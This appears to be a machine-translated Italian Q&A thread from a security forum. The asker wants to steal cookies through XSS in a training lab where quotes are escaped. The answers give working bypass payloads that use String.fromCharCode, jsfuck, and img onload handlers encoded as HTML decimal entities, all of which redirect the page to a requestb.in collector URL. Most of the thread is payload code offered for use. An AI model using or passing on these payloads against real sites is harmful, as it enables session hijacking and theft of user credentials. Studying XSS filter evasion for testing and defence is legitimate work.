XSS: invio di un cookie senza usare virgolette o virgolette doppie?

1

Sto cercando di rubare un cookie usando XSS in un laboratorio di formazione. Il problema è che il server sfugge alle mie quotazioni e alle doppie virgolette. Quindi se voglio usare questo payload per esempio:

<script>document.location="http://requestb.in/XXXXXXX"</script>

Nessuna richiesta GET viene eseguita su " link " a causa del fatto che ' e " vengono scappati. ( ' diventa \' e " diventa '+String.fromCharCode(34) ), quindi il carico utile diventa:

<script>document.location=\'http://requestb.in/XXXXXXX"=\'</script>

OR

<script>document.location='+String.fromCharCode(34)+'http://requestb.in/XXXXXXX'+String.fromCharCode(34)+'</script>

Quindi, quale altro mezzo può essere utilizzato per eseguire un Cookie Stealing in quelle condizioni?

Saluti

    
posta george 27.08.2016 - 14:55
fonte

2 risposte

4

Non hai bisogno di virgolette. Una possibilità potrebbe essere quella di utilizzare String.fromCharCode:

<script>
document.location=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 101, 120, 97, 109, 112, 108, 101, 46, 99, 111, 109, 47, 102, 111, 111, 98, 97, 114)
</script>

C'è anche sempre jsfuck, che ti permette di eseguire JavaScript arbitrario con solo ()[]+! .

    
risposta data 27.08.2016 - 15:10
fonte
1

Se non è necessario usare il tag script, puoi usare tag HTML come iframe o img, la maggior parte dei browser può interpretarli senza virgolette o virgolette.

<img src=http://requestb.in/XXXXXXX />

Inoltre, puoi utilizzare Caratteri HTML decimali nei metodi dei tag HTML.

<img src=# onload=&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#114;&#101&#113;&#117;&#101;&#115;&#116;&#98;&#46;&#105;&#110;&#47;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#39; />

<img src=# onload=document.location=&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#114;&#101&#113;&#117;&#101;&#115;&#116;&#98;&#46;&#105;&#110;&#47;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#39; />

<img src=# onload=document.location=&#39;http://requestb.in/XXXXXXXX&#39; />

Esempio senza punto e virgola:

<img src=# onload=&#0000100&#0000111&#0000099&#0000117&#0000109&#0000101&#0000110&#0000116&#0000046&#0000108&#0000111&#0000099&#0000097&#0000116&#0000105&#0000111&#0000110&#0000061&#0000039&#0000104&#0000116&#0000116&#0000112&#0000058&#0000047&#0000047&#0000114&#0000101&#0000113&#0000117&#0000101&#0000115&#0000116&#0000098&#0000046&#0000105&#0000110&#0000047&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000039 />

Gli ultimi quattro campioni sono equivalenti al seguente codice:

<img src=# onload="document.location='http://requestb.in/XXXXXXXX'" />

Spero che questa informazione ti aiuti, buona fortuna.

    
risposta data 31.08.2016 - 08:25
fonte

Leggi altre domande sui tag